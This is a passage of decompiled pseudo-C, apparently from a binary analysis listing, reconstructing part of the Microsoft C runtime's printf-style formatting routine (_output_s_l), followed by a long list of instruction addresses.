																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E00B7C680(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0xd12188; // 0xddc09d6c
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E00B7C680(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0xd12194; // 0xddc09d6c
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E00B7C680(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0xd12190; // 0xddc09d6c
																						E00B849C0(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			__ebp + 0x14 = E00B93D50(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E00B93D90(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E00B97890(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00B93D50(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00B93D50(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00B93D50(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E00B93D50(__ebp + 0x14);
																		__eax = E00B97280();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L00B7D760();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L00B80C60(__ecx))) = 0x16;
																			__eax = E00B809F0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E00B7C650(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xa:
																		L146:
																		 *(__ebp - 0x30) = 8;
																		goto L147;
																	case 0xb:
																		L90:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x328) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x328) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x328);
																		 *(__ebp - 0x290) =  *(__ebp - 0x328);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00B93D50(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L101:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0xd121a0; // 0xb775a0
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x28c) =  *(__ebp - 4);
																			while(1) {
																				L104:
																				__ecx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L105:
																				__eax =  *(__ebp - 0x28c);
																				__ecx =  *( *(__ebp - 0x28c));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L106:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			}
																			L107:
																			__eax =  *(__ebp - 0x28c);
																			__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L108;
																		} else {
																			L94:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0xd121a4; // 0xb77590
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x294) =  *(__ebp - 4);
																			while(1) {
																				L97:
																				__edx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags =  *(__ebp - 0x290);
																				if( *(__ebp - 0x290) == 0) {
																					break;
																				}
																				L98:
																				__ecx =  *(__ebp - 0x294);
																				__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L99:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			}
																			L100:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																			 *(__ebp - 0x24) = __ecx;
																			L108:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																	case 0xc:
																		L145:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																}
															case 8:
																L30:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L33;
															case 9:
																L31:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L33;
															case 0xa:
																L29:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xb:
																L28:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L33;
															case 0xc:
																L32:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xd:
																L33:
																goto L218;
														}
													} else {
														if(0 == 0) {
															 *(_t557 - 0x314) = 0;
														} else {
															 *(_t557 - 0x314) = 1;
														}
														_t543 =  *(_t557 - 0x314);
														 *(_t557 - 0x278) =  *(_t557 - 0x314);
														if( *(_t557 - 0x278) == 0) {
															_push( &M00B77C38);
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t526 = L00B7D760();
															_t559 = _t559 + 0x14;
															if(_t526 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t557 - 0x278) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00B80C60(_t543))) = 0x16;
															E00B809F0(_t528, _t543, _t555, _t556,  &M00B77C38, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t557 - 0x2f0) = 0xffffffff;
															E00B7C650(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2f0);
															L229:
															return E00B805D0(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
														}
													}
												}
												L219:
												__eflags =  *(_t557 - 0x25c);
												if( *(_t557 - 0x25c) == 0) {
													L222:
													 *(_t557 - 0x334) = 1;
													L223:
													_t530 =  *(_t557 - 0x334);
													 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t504 = L00B7D760();
														_t559 = _t559 + 0x14;
														__eflags = _t504 - 1;
														if(_t504 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) != 0) {
														 *(_t557 - 0x300) =  *(_t557 - 0x24c);
														E00B7C650(_t557 - 0x40);
														_t499 =  *(_t557 - 0x300);
													} else {
														 *((intOrPtr*)(L00B80C60(_t530))) = 0x16;
														E00B809F0(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t557 - 0x2fc) = 0xffffffff;
														E00B7C650(_t557 - 0x40);
														_t499 =  *(_t557 - 0x2fc);
													}
													goto L229;
												}
												L220:
												__eflags =  *(_t557 - 0x25c) - 7;
												if( *(_t557 - 0x25c) == 7) {
													goto L222;
												}
												L221:
												 *(_t557 - 0x334) = 0;
												goto L223;
											}
										}
										L187:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L189:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L190;
										}
										L188:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L190;
										}
										goto L189;
									}
									L183:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2bc);
									__edx =  *(__ebp - 0x2c0);
									__eax = E00B855B0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
									 *(__ebp - 0x2ac) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2bc);
									__ecx =  *(__ebp - 0x2c0);
									 *(__ebp - 0x2c0) = E00B85630( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2bc) = __edx;
									__eflags =  *(__ebp - 0x2ac) - 0x39;
									if( *(__ebp - 0x2ac) > 0x39) {
										__edx =  *(__ebp - 0x2ac);
										__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2ac) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2ac);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									goto L182;
								}
							}
							L168:
							__eflags =  *(__ebp - 0x2b8);
							if( *(__ebp - 0x2b8) >= 0) {
								goto L170;
							}
							goto L169;
							L170:
							__ecx =  *(__ebp - 0x2b8);
							 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
							__edx =  *(__ebp - 0x2b4);
							 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
							goto L171;
						}
					}
				}
			}

0x00b95717
0x00b95717
0x00b95717
0x00b95717
0x00b95721
0x00b95721
0x00b95721
0x00b9572b
0x00b9572b
0x00b95731
0x00b95733
0x00b9573d
0x00b9573d
0x00b95740
0x00b95743
0x00b95743
0x00b9576a
0x00b9576a
0x00b9576d
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b95826
0x00b9582a
0x00b95832
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580b
0x00b9580f
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e5
0x00b957f1
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957c9
0x00b957cd
0x00b957d5
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b9579c
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95774
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00b95848
0x00b95848
0x00b9584f
0x00000000
0x00000000
0x00b95851
0x00b95851
0x00b9585c
0x00b95862
0x00b95864
0x00b9586a
0x00b9586d
0x00b9586f
0x00b95875
0x00b9587e
0x00b95883
0x00b958a0
0x00b958a3
0x00b958a3
0x00b958a8
0x00b958ad
0x00b958ad
0x00b958b3
0x00b958b5
0x00b958bb
0x00b958c1
0x00b958c1
0x00b958ca
0x00b958ca
0x00b958b3
0x00b958d0
0x00b958d4
0x00b958e2
0x00b958e5
0x00b958e8
0x00b958ef
0x00b958f1
0x00b958f1
0x00b958d6
0x00b958d6
0x00b958d6
0x00b958fe
0x00b958fe
0x00b95904
0x00b95906
0x00b95906
0x00b9590d
0x00b95910
0x00b95913
0x00b95913
0x00b95913
0x00b95919
0x00b9591c
0x00b9591f
0x00b95921
0x00000000
0x00000000
0x00b95923
0x00b95929
0x00b95929
0x00b9592f
0x00b959ac
0x00b959af
0x00b959b2
0x00b959b5
0x00b959b8
0x00b959bb
0x00b959c1
0x00b959c1
0x00b959c7
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00b959fc
0x00b959ff
0x00b959ff
0x00b95a02
0x00b95a07
0x00b95a07
0x00b95a0c
0x00b95a1e
0x00b95a1e
0x00b95a21
0x00b95a33
0x00b95a33
0x00b95a36
0x00b95a38
0x00b95a3c
0x00b95a3c
0x00b95a23
0x00b95a23
0x00b95a27
0x00b95a27
0x00b95a0e
0x00b95a0e
0x00b95a12
0x00b95a12
0x00b95a0c
0x00b95a46
0x00b95a49
0x00b95a4c
0x00b95a55
0x00b95a55
0x00b95a58
0x00b95a5a
0x00b95a61
0x00b95a65
0x00b95a6e
0x00b95a73
0x00b95a76
0x00b95a7d
0x00b95a81
0x00b95a85
0x00b95a91
0x00b95a94
0x00b95a94
0x00b95a97
0x00b95a9c
0x00b95a9c
0x00b95a9f
0x00b95aa1
0x00b95aa8
0x00b95aac
0x00b95ab5
0x00b95aba
0x00b95a9f
0x00b95abd
0x00b95ac1
0x00b95b95
0x00b95b95
0x00b95b9c
0x00b95ba0
0x00b95ba4
0x00b95ba8
0x00000000
0x00b95ac7
0x00b95ac7
0x00b95ac7
0x00b95acb
0x00000000
0x00000000
0x00b95ad1
0x00b95ad1
0x00b95adb
0x00b95ade
0x00b95ae4
0x00b95ae7
0x00b95aed
0x00b95aed
0x00b95aed
0x00b95af9
0x00b95afc
0x00b95b02
0x00b95b04
0x00000000
0x00000000
0x00b95b0a
0x00b95b0a
0x00b95b13
0x00b95b1a
0x00b95b24
0x00b95b2b
0x00b95b3a
0x00b95b46
0x00b95b49
0x00b95b4f
0x00b95b56
0x00b95b61
0x00b95b61
0x00000000
0x00b95b61
0x00b95b58
0x00b95b58
0x00b95b5f
0x00b95b6d
0x00b95b6d
0x00b95b74
0x00b95b78
0x00b95b86
0x00000000
0x00b95b8b
0x00000000
0x00b95b5f
0x00b95b93
0x00b95bb0
0x00b95bb0
0x00b95bb7
0x00b95bbc
0x00b95bbc
0x00b95bbf
0x00b95bc1
0x00b95bc8
0x00b95bcc
0x00b95bd5
0x00b95bda
0x00b95bbf
0x00b95bb7
0x00b95bdd
0x00b95bdd
0x00b95be1
0x00b95be9
0x00b95bf1
0x00b95bf1
0x00b95bf8
0x00b95bf8
0x00b94ccf
0x00b94cd5
0x00b94ce2
0x00b94ce7
0x00000000
0x00b94cfa
0x00b94d04
0x00b94d2b
0x00b94d12
0x00b94d23
0x00b94d23
0x00b94d04
0x00b94d35
0x00b94d3b
0x00b94d47
0x00b94d4a
0x00b94d58
0x00b94d5b
0x00b94d68
0x00b94e0d
0x00b94e13
0x00b94e19
0x00b94e20
0x00000000
0x00000000
0x00b94e26
0x00b94e2c
0x00000000
0x00b94e33
0x00b94e33
0x00b94e4b
